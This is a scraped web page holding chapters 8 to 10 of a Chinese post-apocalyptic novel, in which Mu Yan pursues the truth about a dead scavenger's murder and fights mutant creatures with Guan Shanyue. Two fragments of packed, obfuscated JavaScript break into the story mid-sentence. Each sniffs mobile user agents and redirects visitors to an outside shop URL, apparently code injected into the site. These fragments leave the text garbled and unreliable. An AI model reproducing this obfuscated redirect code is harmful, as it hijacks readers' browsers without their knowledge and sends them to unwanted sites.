关山月挤上来:“没有你堵这干什么,还不让开。” 他道:“但我还是要再检查一遍。” 就知道这家伙对她身份存疑,上次贺卡没有查她,反倒让她嫌疑更重。 “随你。” 乔木知道她向来淡定,但没想到如此淡定,他刚刚也只是随便一说。 他拿起仪器又扫了一次,对出来的信息里外看了三遍,终于让她挑出了一点毛病。 “相片上显示你有几分婴儿肥,现在哪去了?” 沐颜未答,就听到身后关山月噗嗤一声笑了:“女大十八变懂不懂,我们要用变化的角度看问题懂不懂。” “行了行了,她真有问题最大不过被异种感染,当楼顶天台上哪位是摆设么,他会出手的,你别操心不该操心的事。” 关山月推着沐颜往前走,一边还吆喝着让围观的都散了。 乔木被怼得无话可说的模样,沐颜不由觉得好笑,有个社牛在身边,似乎也是不错的选择。 但轻松愉悦的氛围不过片刻,进入考核场后,扑面而来的血腥味让她不由眉头紧皱…… 8. 践诺 眼前是一座巨大的山体,每个洞口深不可见,从里面不断传来厮杀声,更有不少人躺在担架上满身是血爬出来。 关山月凑上来,一会儿他们问你选哪个洞口,你就说选第一个。 哪个洞口是第一个? 你别管那么多,照我说的做就对了,按往年惯例,第一个洞口里面的考核内容都比较简单。 他话音刚落,就有工作人员拿着本子走到他们跟前,冷声问:“选哪个。” 关山月挺起胸膛信心满满:“我选第一个。” 工作人员头也不抬,转向沐颜:“你选哪个。” “第二个。” 关山月:! “沐颜,不是说好我们组队么?你怎么临时变卦?” 沐颜笑笑,和他挥手告别。 将后背交给一个认识不到十五分钟的人手上,她脑子进水了也做不出来。 谁知道对方是人是鬼,有何企图。 工作人员问完她,接着去问其他人。 很快就有其他工作人员过来带关山月去往考核的洞口,打断了他喋喋不休的吐槽和抱怨。 沐颜耳根清净了,看着周围的人一个个被带走,最后只剩下她一个人。 正当她想是不是被遗漏时,一个工作人员朝她走来。 “沐颜?” “是。” “你跟我来。” 奇怪的是,工作人员带她去的不是山洞,而是另一处的一个房间。 房间里,没有奇怪的生物,危险的陷阱装置,但有更危险的存在。 一道光束打在一身制服的贺卡身上,他缓缓转过身,道:“动手,杀我。” 不需要他重复第二遍,沐颜抓起一旁的弓箭果断拉弓。 利箭呼啸而出,在离他还有十来厘米的距离时被他抓住,他手心有暗红的液体流出。 沐颜心一颤,居然不是立体投影。 贺卡神色看不出是喜是悲,片刻后朝黑暗里走去。 “恭喜,你通过考核。” 真是个奇怪的家伙。 “哎,你等等。” 沐颜追上去。 “有事?” “贺执政官,优势的不应该是你么,你就没什么想对我说的?” 沐颜不是初出茅庐的愣头青,贺卡对她一次又一次的特殊关照,不是有所图,就是有所求。 不管是哪种,现在对她来说,都处于不利位置,不如先发制人,至少气势上不能输。 贺卡目光复杂,但最后,什么都没有说。 沐颜:…… 她离开房间往出口处走去,关山月已经在外面,脸色有点差。 “你没事吧?” 关山月含糊不清:“你@%@%” “啥?” “哇呕。” 咦,围观的人一下散开了些距离。 “你没事吧?” 关山月吐得不能再干净了,这才有了说话的可能:“我没事,就是那里面太恶心了。” 该死的贺卡,就知道他来没好事,将里面整得那么恶心。 “走吧。” “去哪?” 关山月指了指不远处树荫下的乔木:“去找他拿通行证。” 乔木一脸幽怨看着沐颜:“沐颜,关山月,通过考核,这是你们的通行证,遗失不补,借用无效,请保管好。” 沐颜:“我能见见你们执政官吗?” “他已经走了,你找他什么事?” 关山月凑上来,满脸好奇:“对啊,你找他做什么?” 沐颜一人扫一眼:“那没事了。” 后面如果有机会再见,再道歉吧。 虽然还不完全理解考核机制,但伤了他是事实。 当夜,沐颜收到了前往第三区的任务讯息,她来到集合的地方,关山月已经等在那里。 他眉眼弯弯,两手一摊:“你来晚了,有点大事不妙。” 她看去,不少人比她提前到,已经限号越野车,准备启动。 只有一辆是空的。 沐颜的通行证编号是九,关山月的是第十,而这辆车的编号,是九,明显属于她的车被人占了。 “和我挤一挤?” “属于我的,凭什么要让。” “你想抢啊,这么多人你不怕被群殴?” 他话语是关切但眼里却是跃跃欲试。 “拿回属于自己的东西,不是抢。” 关山月伸着脖子,等着看好戏,就见沐颜气势十足朝第九车走去,她敲了敲车窗:“你好,你坐的是我的车。” 车里那人理都不理,继续调试着车子。 关山月到底怕她吃亏跟了上来:“……你这不行啊,要不我来?” 沐颜拒绝:“我这是先礼后兵……喂,你到底下不下来?” 回应她的是骤然加大的油门声。 沐颜不多啰嗦:“退后。” 关山月还没问出口,就见她突然往车窗挥出一拳。 这可是特种玻璃做的,怎么可能……我擦,居然裂开了! 沐颜在对方震惊中,直接将人从驾驶室里拽了出来,他同组的伙伴见状立即提着武器过来。 沐颜直接翻上车顶,将弓拉满:“谁敢来抢,别怪我不客气!” 关山月:“果然酷毙了。” 可总有不信邪的,一个五大三粗的迟疑下就拎着砍刀过来:“找死。” 沐颜冷哼:“我看该死的是你。” 嗖。 利箭射出,破空而去,正正擦着他的颈动脉而过。 那人愣在原地,反应过来后破口大骂:“你她#¥的居然敢来真的?” 沐颜指了指通行证:“我们本无仇,说不定到关键时候还需要对方伸出援手,别把事情做绝。” 这时车载屏幕亮了起来,围观的众人纷纷回到自己的车上,那队人虽心有不甘,一通低声问候后也回去了。 沐颜见关山月还扒在车旁,便道:“你怎么还不走?” “先看任务。” 车载屏幕上显示着,第三区拾荒计划的最终目的是在第二平原基础上往外拓展至少三百里并构筑防火线。 而他们的任务,则是在路途中尽可能收集生物样本。 “你走哪条路?” 同步出现的地图上显示着有三条路线可以选择,距离长短不一。 沐颜垂眸:“最短那条,我得先修车。” 修车是借口,这里离李哥告诉她他女儿最后出现的地方并不远,她想先去找人,但这事和关山月没法说。 “路程最短,虽能节约时间,有更大几率拿到值钱的样本,但同样危险也多。大家都选执勤队在前面开路那条,我建议你也选这个。” “不,我还是想选这条,既然不顺路,那便在此别过,也祝你一切顺利。” 关山月,方才谢谢你的告知,后面有机会还你这份人情。 “我要你人情做什么,我想和你组队,你要不要……喂,走那么快做什么,你慢点开,等等我。” 沐颜开了一阵儿,关山月还在后面跟着,有些头疼。 眼见离目的地越来越近,她无法,只能停车。 关山月探了上来:“沐颜,好巧,我们又见面了。” “是挺巧,你跟了一路。” “哎呀,别这样嘛,我是真的很想和你组队的,我这也是怕你有危险。” “你为何非要和我组队?” 关山月正经解释:“和强者一队,需要什么理由吗?” 沐颜一时无言,这个理由她还真反驳不了。 “那我问最后一个问题,当遇到生死关头而我性命垂危的时候,你会回来救我吗?” 关山月认真想了想:“不会,我会跑。” 这个答案,沐颜很满意。 “我也是,我和你组队。” 关山月喜笑颜开,精诚所至金石为开啊……我们赶紧出发。 “那个,还得等等。” “你还有事?” “找记忆,我因为某些缘故忘记了一些事情……顺路来这里,碰碰运气。 她说完,心里有些忐忑,就怕关山月多问,还好最后他什么都没问,只是说陪她。 她得赶紧把李哥女儿的事情解决,去挣钱买命。 直接去打探是不可能的,她顶替李哥女儿的身份去找李哥女儿,指定会被 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他们还未靠近,那个女人突然开始朝他们破口大骂,什么婊子不要脸,阴沟里见不得光的死老鼠,仗着有几分姿色……有钱又怎样之类之类的话,最后沐颜甚至听到了奸夫□□之类的词。 “什么情况,这不像认识你的样子,更像我们主动过来找骂的。” “……我也不知道啊。” 二人局促站着,过去是不可能的,但转身就走好像更丢脸。 那女人骂了一阵儿,又朝他们吐了几口唾沫,这才叉着腰走了。 这时路过的一个平头大叔道:“别理那毒寡妇,她就是眼热见不得人好。” 原来是把她和关山月认成一对。 沐颜:“多谢告知。” 那人摆手,示意无妨,目光从沐颜脸上扫过,正要离开,突然步子一顿,盯着她好几秒后神情由惊讶转为惊喜。 沐颜也惊喜,难道瞎猫碰上死耗子真让她碰上了吗。 “对,是我,我……” “…沐颜,你是沐颜。” 呼,真的让她找着了。 “是我,好久不见。” 平头大叔:“还活着,就很好。” “我前段时间伤到脑袋,忘记了一些事,记不得您了您别介意。” 平头大叔并不是很在意:“你叫我康大叔吧,还活着,比什么都好。” “以前的事,你可以和我说说吗?忘掉的事,我心里总觉得是一块疙瘩。” 康大叔:“你为了帮家人挣医疗费,一年多前来这里拾荒。别的拾荒人对我们这些从他们牙缝里讨生活的,都很苛刻,但你不同,从不欺负我们,别的拾荒人为难我们时,你还会出手相救。” “我知道的就这些了,后面你又出了几次荒野,回来后一次比一次伤重,可人确实高兴的,再没多久你就神秘消失了,我们还以为你死了。” 他描述中李哥女儿的经历和李哥说的对得上,照他这么说,李哥女儿对他们还算友好,此时就更没有必要骗自己。 “我先前住哪?” 康大叔指了远处一棵规整的枯木:“那里,不过现在被一个混球占了,我建议你别去,另外再找个住的地方。” “为啥?他很能打?” “不是,因为他喜欢你。” 沐颜:“蛤?” “那混球叫十三,人长得磕碜,做的却是皮肉生意。” 关山月:“……人各有志,我们得尊重。” 康大叔一下不满了:“那总不能强着人来,别人不愿意他也要赖着脸光着腚追着人家吧。” 沐颜:“这真的……很难评。” 二人谢过,眼见天色暗了下来,关山月提议先回车上睡一觉,第二日再去问。 “不会这么倒霉的。” 沐颜往枯木走去,离得还有一段距离时,就听到里面传来的令人脸红心跳的声音。 得,还真让她给碰上了。 “要不,我们还是明日再来吧。” “别啊。” 关山月拉着她从侧面翻墙进入,那对纠缠的人离他们只有一墙之隔。 他压低声音笑问:“难道你定力不行?” 9. 拾荒 沐颜瞪他:“动作麻利点。” “好嘞……不过,你要找的是什么?” 沐颜头也不回,随口道:“值钱的东西。” 按照康大叔的说法,她一定是拾荒时得到了什么贵重的东西,才遭的不测,遇害的地点,很大可能就是这里。 隔壁激战越来越剧烈,沐颜找得也越来越心烦,正当她以为一无所获时,就看到关山月站在角落里一动不动。 她顿时升起不好的预感,上前一看,居然是一个破旧的小冰柜。 她挥散寒气,就看到一只伤口泛白的冰冻人手。 从纹理上看,是人的,是李哥女儿吗? 关山月脸色冷峻:“他居然敢吃人!” 二人正要去找十三算账,就听到里面女人突然开口。 “那个小贱人怎么回来了,她不是已经死了吗?” “专心点……谁?” “还能有谁,姓沐的那个小贱人啊!” “你开什么玩笑?我亲眼见她引爆的炸弹,她的碎尸还是我收集起来的。” “是吗,那你吃了肉怎么还是这么有气无力的样子。” “你……再说一次!” “哎呀,我错了,好哥哥我错了……” 这个声音也有些熟悉,关山月道:“是路口那个寡妇。” 他话音刚落,突然把沐颜往旁边推去,一脚踢开了虚掩的门。 “把衣服穿好,我有话问你。” 十三做惯风月生意,见此场面也片刻慌乱后也不惧,反倒慢悠悠扭动起身子。 “这位小哥夜里寻我可是寂寞了,我们以前好像没见过?” “再晃荡我切了。” “哎呦呦,人家好怕怕。” 沐颜简直没法再听,轻拍了下关山月的肩膀,示意无需挡在她面前。 “他既然敢露,我有什么不敢看的。” 沐颜从黑暗里走出,十三看到的那一刻,果然脸色大变,顾不得调情,当下就想卷着被子跑,被关山月一把薅了回来。 沐颜目光锐利扫去,盯着那个准备悄悄溜走的寡妇:“你也站住,不然别怪我不客气。” 这里的人对于生死都有着异于常人的淡然,她道:“杀你的不是我,你找他。” 关山月被吵的耳朵疼:“别嚎了,这里没鬼,你杀的到底是谁?” 他的话显然没那么重的份量,寡妇狗咬狗,才是让他愤怒的地方。 “你个死婊子,白嫖我那么多次,居然诬陷我,难道你没有吃?” “吃了又怎样,反正我没杀人,也没抢人家房子。” 沐颜拎起寡妇丢到十三身旁,上去一人给了一巴掌,这才让他们安静下来。 “说!” 十三抱着脑袋发抖:“一年前你拾荒回来受了重伤,我就想和你亲热亲热,然后不知怎的就发生了爆炸,我看一地的血肉,以为是你的,就带回来吃……吃了。” 沐颜冷声:“没了?” 他哀丧着:“没了,我对天发誓真的没了,我真的不知道你还活着,对了,那冰柜里的又他#%2是谁啊,我不是吃到异种了吧。” 李哥女儿未必会对一次意外失身拼上性命,当时一定是发生了更危险的事情,才让她不得已引爆炸药,而她也没能幸免。 她是真的死了。 关山月:“感染具有隐藏性,执勤队会告诉你到底有没有感染。” 十三哭得响天彻地:“别通知他们,我求求你了。” “不可能……哎,你别靠近我,把那东西离我远点……” 沐颜看到十三眼里突然闪过一道狡黠,就见他猛地窜起往外跑去。 二人拔腿去追,就见十三一个猛扑到冰柜前,嚼也不嚼,生生把那只人手给吞了。 沐颜:“……” “哈哈,你们没有证据,没有证据啦。” “找死!” 沐颜道:“别追了,执勤队过来也需要时间,到时他早消化完了。” 关山月气恼,但也无法:“只是可惜了那个惨死的拾荒人。” 沐颜虽然厌恶,但不得不说十三也算帮了她的忙。 “告诉我爆炸的地方在哪里。” “你能不杀我吗?” 沐颜冷声:“刚才一巴掌就算两清了。” 这个世界的沐颜死了,而她将要代替她的身份重新活下去,她唯一能做的,这个世界沐颜的亲人希望她去做的,也仅有带她回家。 关山月看着她将土壤小心放入了密封等级最好的一个隔离容器里,不由心疼提醒:“土壤生物基因不值钱的,你少装点。” 沐颜默默装满:“不,她值得。” “谁?” “我不想说,可以吗?” 关山月抻了抻身子:“当然。” 沐颜有点意外他的坦率。 “每个人都有不想说的秘密,既然不想说,就不说,等你想说了,我再听。” 沐颜不由笑:“你倒是看得通透。” “有个朋友曾和我说过,开心也是一天,不开心也是一天,既然还活着,为什么不选择开心活着……所以,接下来你要去哪里找记忆?” 沐颜小心收好土壤,拍了拍身上的尘土,重重吐了口气:“不去了,我们出发。” “啊?怎么不找了。” 再找下去她得露馅啊! “就像你那位朋友说的,既然找到的都是不开心的事,为何不选择放下,往前看,而且……” “什么?” 沐颜猛然顿住,她意识到自己忽略了一个很重要的问题。 “阿月,你说一个人突然暴富之后,会不会还选择过一无所有被人唾弃的生活?” “不会,除非那人是傻子。” 对,那就没错了。 李哥女儿是拾荒人,身上之前的东西一定有能换钱的东西。 如果她最后见到的人真的是十三,那十三的日子绝对不会过得和原来一样! 螳螂捕蝉,黄雀在后。 “你去哪,车在那边。” 沐颜冷笑:“自然是去找好心人,当面好好感谢一下。” 这个世界弱肉强食,怎么会有纯粹的好人! 最想遮掩真相的,只有凶手。 二人一路问去,在枯木林角落里,果然和康大叔撞个正着…… 沐颜皮笑肉不笑:“康大叔大半夜提行囊带小儿,这是要往哪里去。” 康大叔尴尬笑笑:“这不急着给边缘的拾荒人送吃的么,对方催得急。” 他拍了拍小儿:“你先去,听话。” 小儿有些惊恐,要走不敢走,沐颜直接拎着衣领把他拽了回来。 与此同时,康大叔突然一冷棍往沐颜身上劈来。 关山月一脚踢开,暴喝:“你干什么!” 康大叔捂着肚子在地上呻吟:“你们才他#%@的要干什么?” 沐颜将哭闹的小儿往他跟前提了提:“说,不然你怎么对我的,我就怎么对他。” 康大叔顿时没了脾气:“你别伤他,他禁不起折腾。我认错行吗,是我贪心,我给你磕头。” “我是设局让你去了那里,但爆炸真的和我没关系,而且你现在不是也好好的?” “爆炸到底怎么发生的?” “这……我也不清楚,是从天上往下炸的。” 关山月解释:“可能是其他拾荒人的流弹。” 可她却觉得,那像是为这个世界的沐颜设定的死期。 “东西呢,还给我!” “我……我用掉了。”康大叔使劲磕头,“对不起,我的小儿不能再等了,我们在区里已经排上队了,求求你就给我一条生路吧……” 沐颜闭上眼睛,不愿再看。 一年多前,这个世界的沐颜用大半条命从荒野换回能为父亲治病的物资,欣喜之余,却被另一个没有能力却也同样面对亲人生死困局的人设局夺走,后面意外发生,导致殒命。 她没有死在危险重重的荒野,死在了人性自私与黑暗里。 同样只差一点,她就可以活,她的父亲也可以活…… 她一时不知道怎么办,死去的人就一定要为活着的人让步? 她不甘心,可也不想做刽子手。 纠结之时,她听到关山月道:“滚。” 她恼:“都不许走!” 关山月拦住了她:“你只是在气头上,气消了也会做出和我一样的选择。” “逝者已逝,无论有诸多遗憾,活着的才最重要。” 沐颜冷漠:“这又是你那位朋友说的?” 关山月神情复杂:“是,且天有命数,万事万物都会走到属于自己的终极。” 沐颜冷冷看着他。 未经他人苦,有什么资格说原谅。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526904|203556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 康大叔见状,知今日是没法轻易脱身,心意一横咬牙,拿起刀就往左手剁去,顿时鲜血淋漓。 “小子,快给沐姑娘磕头,她是咱们的恩人。” 先发制人,他笃定了自己会真的杀他。 卑鄙! “沐颜,你脸色很差,没事吧?” “我们该走了。” “那个,你也别太往心里去,这样的事情,在这里很常见,能活着,谁会放弃生呢。” “不,下一次若再碰上我,我肯定不会这么好说话。” 关山月有些不解,她为何对一个陌生的拾荒人那么上心? 她失忆后,好像真的变得有些不一样了。 二人驱车往第二荒野边缘驶去,中午时分,他们来到荒野边缘红色光幕前。 关山月从车里拿下一个仪器,鼓捣几下,光幕空出一个缺口,大小刚好能让越野车通过。 光幕之外,生机勃勃,也危险重重。 关山月上前拦住:“沐颜,你车玻璃坏了,得和我一辆车。” 当时只顾着抢车,都忘了这茬,白日还好说,夜里确实不够安全。 沐颜也没再拒绝,下车将能搬的物资都转移到了他的车上。 关山月一路笑哼着不着调的小曲,开得更快了。 受他天生乐天派的感染,沐颜稍烦闷的心情也一扫而空。 他的那位朋友说得一半在理,活着最重要,活着就得往前看。 “晚上我来开吧。” “嗯,你小心点。” “有什么要交代的吗?” 关山月想了想:“没有,看到挡路的,不管他是什么东西,直接撞过去就好了。” “会长得特别奇怪?” “这个不好说,长得像人也直接撞过去就行了。” “来拾荒的人,一旦落伍,几乎就是死,至于是被异种吃掉,是变成异种,还是被我们杀死,区别不大。” “在荒野外,你只需考虑你自己。” “你很熟悉啊,做拾荒人很久了?” 关山月笑笑不语,沐颜见状也没再追问。 入夜时分,沐颜接替开车,关山月十分淡定在副驾倒头就睡。 她不由嘀咕:“未免也太相信我了。” 前一个时辰,路上除了难走还算太平,但之后,莫名甩下来绊车的藤蔓,大块大块跟着车移动的黑影,黑暗中血红的双眼,两旁剧烈抖动的树枝…… 沐颜心里默道:“别过来,都别过来,我一点都不想认识……” 车顶突然一声巨响,下一瞬,一只皮包着骨,双目胀白的人脸突然倒贴在前面,隔着车窗和她对视。 沐颜:“……” 她将方向一偏,直接往粗大的树干上撞去,就在要碰上的一瞬,那个生物振翅飞走。 “好丑的鸟。” 车辆刮蹭了下,关山月换了个姿势继续睡着。 如此看来,这应当是开胃前菜,危险性不算大。 沐颜继续往前开去,在他醒来前撞飞了一只五条腿的荧光鹿,三四张巨型蜘蛛结的网,五六个在挖陷阱的地鼠,以及一只带点个人恩怨正在睡觉的猴脸花。 “怎么停下了?” 沐颜拿着弓,正从天窗爬出去。 “前面堵住了,过不去。” 关山月揉了揉睡眼,看清眼前,不由叹道:“沐颜,你的运气还真好。” 两只比车还大的骆驼挡在必经之路上,满嘴白色唾沫,两个肥大的驼峰软软塌陷着。 沐颜将利箭射出,直取眼睛。 骆驼极其不屑轻轻往旁边一偏头,而后就朝他们冲来。 这边沐颜刚摸出炸药包,车子突然往后极速退去。 “不能撞,它们皮肤光泽跟合金无异!” “不能炸,它们有定位!” 二人同时喊出,也同时做出对方禁止之事。 热浪中车身剧烈翻滚,沐颜死死拉着车门没被甩出去,她平复翻涌的气血,见不远处的骆驼也努力起身,顾不得疼赶紧爬出来补刀。 果然和她猜的不差,骆驼皮肉和不锈钢一样,青铜刺压根捅不进去,她只能硬生生从眼睛入手,将两只骆驼的脑子都掏空了,这才作罢。 嗡。 很轻微的一声响突然出现在身后,沐颜挥弓往身后拍去,不知何时,身后黑暗里叠满了密密麻麻红色的双瞳…… 10. 大蚯蚓 “这玩意不会吸血吧……” 吐槽归吐槽,沐颜脚下动作利落,赶紧往车里跑,脚下突然一声惨叫把她吓一激灵。 “你踩我脚啦!” 关山月运气不好,被甩下了斜坡,好不容易刚爬上来一只手,就准确被跑过的沐颜踩到。 “对不起对不起,差点把你忘了。” 沐颜赶紧拉起他往车里跑,好在越野车没有侧翻也能开得动。 “定位是什么?” “你能看到金属光泽?” 开出一段距离后,二人又是同时发问,不由相视一笑。 关山月:“我们这也算同生共死一次了。” 沐颜:“这才哪到哪啊。” “也是。” “你说的定位是什么?” 关山月脸色沉了些:“在荒野外,异种等级越高,危险性就越大,这个你知道吧?” 沐颜点头,示意他继续说。 “但除了这点外,还有一点让各区的执勤队都头疼的,就是其中一些异种已经进化出意识,并且能够通过芯片操控低等的异种来进攻人类基地。” “刚才那两只发情的骆驼虽然不算很好对付,但还不足为惧。你还记得其中一只骆驼脑袋上站着一只小鸟么,小鸟脑子里就有芯片,用火可以使之失灵,所以刚才我才说别炸的。” “我们被异种盯上了。” “抱歉,我不知道。” 他道:“没事,这么小概率的事让我们碰上了,也是倒霉。” 沐颜好奇问:“能有智慧,还懂得使用电子科技控制生物行动的异种,长什么样?” “我也没见过,但据说和人形长得很像。” “有没有可能,那些异种背后就有人为在操控?” 关山月笃定:“你的意思是人类中有叛徒向他们传授了技术?不可能,这是灭种的大罪,哪个人类敢有这种想法和这种能耐的?” 时刻阴谋论似乎也没必要,沐颜也觉得自己的这个想法有些离谱。 “或许真是我想多了,人类若真的和异种勾搭上,早就玩完了……你怎么停下了?” “这里先前来的执勤队埋有发射源,我得把这里的事情传回去。” “杀异种是执勤队的事,我们要做的,是收集生物基因。”他笑了下,“然后换钱。” 沐颜一拍脑袋,刚刚就顾着杀了,都忘了留样。 “我,我这身上还有那骆驼的脑浆碎末,现在装起来还来得及吗?” 关山月:“……不行,已经超过十分钟失活了,你难道没看拾荒人守则?” “那是什么东西?” “服务中心给每个考核通过的拾荒人都会发送相关信息,你可以看做是份说明书。” 沐颜翻找了下信息:“我确定我真的没有收到。” “那真是奇怪了,按理不应该啊。” “算了,现在知道也不算晚,理论永远赶不上实际变化,从实践中来的才是最靠谱的。” “没事,你现在和我组队,也相当于带了一个行走的说明书。” 夜空中突然炸开数朵火焰,与此同时地面开始微微颤抖起来。 “这是……” “执勤队的人在和异种交火,离我们不算远。” 沐颜翻出装备包:“连把枪都没有,我们过去也是帮倒忙吧。” 关山月欲言又止,而后道:“知足吧,你好歹还有几包炸药,我就一把大砍刀。” 沐颜抚额:“热武器这么稀缺的吗?” “不缺技术,缺原料,不然你以为那么多拾荒人出来,能手无寸铁地打异种,他们捡拾的,就是各种工业基材。” “可我们现在找的是生物样本。” “很好理解,一个是官方活动,一个是非官方活动呗。” * “滋……十号光幕基点已经搭建……嘶…一个时辰……” 加密频道的信号被干扰,里面传来的信息断断续续。 贺卡脸色如常,淡定吩咐手下队员:“别恋战,全员撤退到东面峡谷,一个不准少。” “是。” “是。” “是……我来啦!” 关山月从高处山崖一冲而下,在诸多枪口下潇洒落地扬起一阵儿尘埃。 贺卡:“……你怎么来了?” 沐颜拿着隔离容器下车,有些尴尬朝他们笑笑,当着面不劳而获心里多少有点惭愧。 他皱眉:“你怎么把她也带来了?” 关山月提着刀从车里跳出来:“咦,又是讨人厌的风车虎。” 贺卡挥手让他们先走:“关山月,你还没回答我的问题。” “这重要么?”他微笑,向沐颜喊道,“挑还有一口气的,优先脑髓,其次五脏六腑,最次血肉。” “知道。” 关山月:“哎呀,别这么一副苦大情深的样子,想过去就过去吧,反正你又不打算拦着她。” 贺卡往那边深深望了眼,转身就走。 “哎,你还真的不过去啊?” “按计划行事。” “这家伙,真的是。” 关山月过去帮沐颜收集:“少装一点,再往前还能碰上更有价值的。” “这个能取样吗?” “这个不用,是执勤队人员的。” 沐颜手一僵,缓缓放下那块已经畸形扭曲的手掌。 人被异种感染后异变速度有快有慢,但都逃不过一死。 关山月似乎知道她所想,道:“幸存的队员会把他们的铭牌带回去,作衣冠冢;如果队员也死了,还有队长;若是队长也死了,执政官会亲自来带他们回家;如果执政官也死了……” 他笑,看不出喜悲:“那人类也差不多要完了,这些形式也不会再有意义。” 人类生存与延续的重任落在几个血肉之躯上,其肩负的压力可想而知。 沐颜的目光不由落到了高处迎风而立的身影上。 “他现在在做什么,山顶的风有那么好吹吗?” 关山月头也不抬:“守场善后。” “这片地刚清出来,执勤队还需要继续往前推进,得有人留下观察十分钟,确保没有尾巴跟着。” 沐颜:“可现在十分钟已经过去。” “额,你有没有可能他是在帮你戒备?” 沐颜不由一激灵:“这句话比地上这些奇形怪状的大老虎还吓人。” 关山月笑道:“你就当我开了个玩笑,他那里应该是有情况,我们过去看看。” 他刚动,余光就注意到旁边的沐颜立即拉弓朝贺卡射出。 “啊!” 木箭打在贺卡下方树冠里,一个全身制服的人一边痛嚎一边从里面爬出来。 “别打,是,是我。” 他仰头看向上面的贺卡:“贺执政官,拉我一把。” 沐颜:“不能救!” 关山月:“我擦,这不就和我先前的出场一样么?沐颜你看出哪里不对劲了?” 沐颜上前一步,朗声道:“贺卡,他身上有金属光泽!他已经被异种感染了!” 关山月:“你确定不是他身上制服的反光?” “都什么时候了你就别添乱了,快去救人。” 沐颜一边跑一边连着往上面射箭:“你们大执政官是耳背吗,都说了不能救还伸手去拉人!” 关山月:“……” 她急忙冲上山峰,就听到一声清脆的骨头咔哒声。 贺卡背对着他们,缓缓将那人平放在地。 沐颜一时没有言语。 她瞎操哪门子心,关山月都不急她急。 在末世里能当上执政官的,这么简单的圈套都能被套路弄死也活该这个下场。 再有,人家可是能不用仪器就能判断有没有被异种感染的人。 他道:“你是在关心我?” 沐颜干巴回:“没有,我只是做不到见死不救。” 贺卡:“别担心,我只是要拿他身上的铭牌。” 姗姗来迟的关山月见氛围不对,赶紧转移话题:“那啥我们别在这里吹风了啊,怪冷的……沐颜你去哪,你等等我啊。” 他们从山峰下来,正要上车,地面突然剧烈颤抖起来,她下意识地回眸,不由脸色大变。 “阿月,快拿武器!” 与此同时,空中破空声响起,关山月飞扑上前,正正接住贺卡丢下来的激光枪。 他把沐颜往车上推去,立即发动车子。 沐颜看到贺卡身影从山峰后消失:“不行,他没有车也没有武器,会死的。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533886|203556||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “不会的。” 沐颜不知关山月这份信心从哪里来,但她忧虑没持续多久,注意就被另外的事物吸引。 “那个,我怎么觉得这群黄雀是冲着我们来的?” 地面的颤动越来越剧烈,一时间分不清车是开过去的,还是被不断隆起的地面抛出去的。 关山月抹了抹额上的汗:“不用好像,事实就是。” “那我可真是太倒霉了。” 他把车停住:“不,这是我的荣幸。” “你掩护我!” 一条条丑陋,挂着脓疱的大蚯蚓接连破土而出,关山月提着砍刀就冲了下去。 “这家伙,真的是。” 沐颜第一次用枪,却没有陌生之感,激光束速度和热能都很高,她动态视力好,尽量往大蚯蚓的眼睛打去,帮关山月清出身边空间。 “啧,看不出来身板细细高高年纪还不大,打起来也这么猛。” 沐颜正要下去帮忙,车身猛地一阵,低头看去,车底架居然开始被脓液包裹。 再抬头,一条猩红挂着粘液的舌头如同液体一样从车窗缝隙里伸进来,差一点就和她贴脸对上。 沐颜青铜刺刺出,飞起一脚直接将车窗踢飞。 木箭已经用完,她挥弓当刀,一路砍杀。 地上很快就积了一层厚厚的恶臭的粘液,人陷在里面居然有被缓缓往下拉的趋势。 沐颜返回扒拉出装备朝关山月丢去:“快跑!” 这些变异的大蚯蚓什么都吃,活着死去都在吃!和移动的活体沼泽一般。 在荒野丢了车,能存活的概率微乎极微,但总比站着不动等死强。 二人往树林深处跑去,关山月喘着气看向身后的沐颜。 “够义气,我就说和你组队是明智的选择。” 沐颜:“……有说话的力气能不能留来跑路……你往回跑做什么?!” 她看到关山月脸色突然一变,明显是身后又出现了什么,可不应该跑得更快么? “你先走,别管我。” 她真是想骂人来不及说! 罢了,谁让他夸自己够义气。 沐颜一边点射一边往回支援,片刻后看清关山月的意图,顿时冲得比他还猛! 一条站在蚯蚓群之外的大蚯蚓,顶上又站着一只用死鱼一般的眼珠盯着她看的鸟! 她抬枪射去,就见那鸟极其轻蔑又灵活地躲开。 “沐颜你别去!” 这些家伙冲的可不是他们,而是她! 在末世里,连一只鸟都打不过,她还不如直接去死! 沐颜往前扑去,那群蚯蚓立刻往旁边空开,等关山月冲上去时,他们已经堵了回来。 “畜生,居然学会逐个击破了!” 关山月退后几步,直接拔出枪瞄准射击。 沐颜在另一侧和那只头顶站鸟的蚯蚓搏斗,正要挥弓砍下的时候,死鸟眼睛里突然闪过几丝光亮,下一瞬,她的脑袋一震,整个人的身躯开始不由自主地颤抖起来。 这是……精神攻击? 她的意识有些恍惚,眼前一阵儿黑一阵儿白。 她被撞飞出去,腥甜的血肉兜头浇了下来,强烈的不适感瞬间消散了不少。 “关山月……你就不能瞄准一点再开枪!” 她骤然起身,眼里闪过一抹红,向着迎面而来张开獠牙大嘴的蚯蚓扑去。 “不要!” 关山月刚撕开缺口,就看见沐颜被蚯蚓吞了下去,而后在粘液里一通蛄蛹,快速钻到地底下。 “你可不能有事,不然贺卡非得打断我的腿!” 他咬牙,紧随其后跳了下去。 沐颜紧紧拽着蚯蚓的大舌头,锋利的钢牙一直在不断咬合,她直接用弓捅穿上颚,探出手将那只死鸟给拽了进来。 “擒贼先擒王,先宰你,再宰蚯蚓!” 